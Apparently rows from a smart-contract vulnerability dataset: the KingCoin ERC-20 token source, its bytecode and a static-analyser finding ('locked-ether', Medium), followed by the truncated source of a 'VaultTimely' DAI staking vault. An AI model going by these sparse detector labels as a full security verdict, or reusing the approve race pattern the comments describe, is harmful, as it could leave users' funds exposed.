* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract KingCoinToken is CappedToken, PausableToken {
string public constant name = "KingCoin"; // solium-disable-line uppercase
string public constant symbol = "KCT"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
}
|
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461013857806306fdde0314610167578063095ea7b3146101f757806318160ddd1461025c57806323b872dd146102875780632ff2e9dc1461030c578063313ce5671461033757806332cb6b0c14610368578063355274ea146103935780633f4ba83a146103be57806340c10f19146103d55780635c975abb1461043a578063661884631461046957806370a08231146104ce578063715018a6146105255780637d64bcb41461053c5780638456cb591461056b5780638da5cb5b1461058257806395d89b41146105d9578063a9059cbb14610669578063d73dd623146106ce578063dd62ed3e14610733578063f2fde38b146107aa575b600080fd5b34801561014457600080fd5b5061014d6107ed565b604051808215151515815260200191505060405180910390f35b34801561017357600080fd5b5061017c610800565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bc5780820151818401526020810190506101a1565b50505050905090810190601f1680156101e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020357600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610839565b604051808215151515815260200191505060405180910390f35b34801561026857600080fd5b50610271610869565b6040518082815260200191505060405180910390f35b34801561029357600080fd5b506102f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610873565b604051808215151515815260200191505060405180910390f35b34801561031857600080fd5b506103216108a5565b6040518082815260200191505060405180910390f35b34801561034357600080fd5b5061034c6108aa565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037457600080fd5b5061037d6108af565b6040518082815260200191505060405180910390f35b34801561039f57600080fd5b506103a86108c1565b6040518082815260200191505060405180910390f35b3480156103ca57600080fd5b506103d36108c7565b005b3480156103e157600080fd5b50610420600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610987565b604051808215151515815260200191505060405180910390f35b34801561044657600080fd5b5061044f610a2f565b604051808215151515815260200191505060405180910390f35b34801561047557600080fd5b506104b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a42565b604051808215151515815260200191505060405180910390f35b3480156104da57600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a72565b6040518082815260200191505060405180910390f35b34801561053157600080fd5b5061053a610aba565b005b34801561054857600080fd5b50610551610bbf565b604051808215151515815260200191505060405180910390f35b34801561057757600080fd5b50610580610c62565b005b34801561058e57600080fd5b50610597610d23565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105e557600080fd5b506105ee610d49565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062e578082015181840152602081019050610613565b50505050905090810190601f16801561065b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561067557600080fd5b506106b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d82565b604051808215151515815260200191505060405180910390f35b3480156106da57600080fd5b50610719600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db2565b604051808215151515815260200191505060405180910390f35b34801561073f57600080fd5b50610794600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de2565b6040518082815260200191505060405180910390f35b3480156107b657600080fd5b506107eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b005b600360149054906101000a900460ff1681565b6040805190810160405280600881526020017f4b696e67436f696e00000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff1615151561085757600080fd5b6108618383610eed565b905092915050565b6000600154905090565b6000600560009054906101000a900460ff1615151561089157600080fd5b61089c848484610fdf565b90509392505050565b600081565b601281565b601260ff16600a0a6402540be4000281565b60045481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561092357600080fd5b600560009054906101000a900460ff16151561093e57600080fd5b6000600560006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109e557600080fd5b600360149054906101000a900460ff16151515610a0157600080fd5b600560009054906101000a900460ff16151515610a1d57600080fd5b610a278383611399565b905092915050565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff16151515610a6057600080fd5b610a6a838361144a565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1657600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1d57600080fd5b600360149054906101000a900460ff16151515610c3957600080fd5b600560009054906101000a900460ff16151515610c5557600080fd5b610c5d6116db565b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cbe57600080fd5b600560009054906101000a900460ff16151515610cda57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4b4354000000000000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff16151515610da057600080fd5b610daa83836117a3565b905092915050565b6000600560009054906101000a900460ff16151515610dd057600080fd5b610dda83836119c2565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ec557600080fd5b600560009054906101000a900460ff16151515610ee157600080fd5b610eea81611bbe565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561101c57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561106957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110f457600080fd5b611145826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d8826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f757600080fd5b600360149054906101000a900460ff1615151561141357600080fd5b60045461142b83600154611d2f90919063ffffffff16565b1115151561143857600080fd5b6114428383611d4b565b905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561155b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115ef565b61156e8382611d1690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173957600080fd5b600360149054906101000a900460ff1615151561175557600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156117e057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561182d57600080fd5b61187e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611911826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611a5382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c5657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611d2457fe5b818303905092915050565b60008183019050828110151515611d4257fe5b80905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611da957600080fd5b600360149054906101000a900460ff16151515611dc557600080fd5b611dda82600154611d2f90919063ffffffff16565b600181905550611e31826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a7230582011c1ce6190a0a873721f85b122589ac4624aa0fd307396c6433882474d30a61e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,783 |
0xb5580a6a0f03798aab71b10435d549840dc2892b
|
pragma solidity 0.6.11;
// SPDX-License-Identifier: none
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract VaultTimely is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// trusted deposit token contract address (DAI)
address public constant trustedDepositTokenAddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
// trusted reward token contract address (UNOS)
address public constant trustedRewardTokenAddress = 0xd18A8abED9274eDBEace4B12D86A8633283435Da;
// reward rate
uint public rewardRatePercentX100 = 48e2;
uint public constant rewardInterval = 365 days;
uint public cliffTime = 72 hours;
uint public withdrawFeePercentX100 = 50;
uint public totalClaimedRewards = 0;
uint public vaultDuration = 365 days;
// admin can transfer out reward tokens from this contract one month after vault has ended
uint public adminCanClaimAfter = 395 days;
uint public vaultDeployTime;
uint public adminClaimableTime;
uint public vaultEndTime;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
constructor () public {
vaultDeployTime = now;
vaultEndTime = vaultDeployTime.add(vaultDuration);
adminClaimableTime = vaultDeployTime.add(adminCanClaimAfter);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff;
uint _now = now;
if (_now > vaultEndTime) {
_now = vaultEndTime;
}
if (lastClaimedTime[_holder] >= _now) {
timeDiff = 0;
} else {
timeDiff = _now.sub(lastClaimedTime[_holder]);
}
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount
.mul(rewardRatePercentX100)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot withdraw 0 Tokens");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
// emergency withdraw without caring about pending earnings
// pending earnings will be lost / set to 0 if used emergency withdraw
function emergencyWithdraw(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot withdraw 0 Tokens");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
// set pending earnings to 0 here
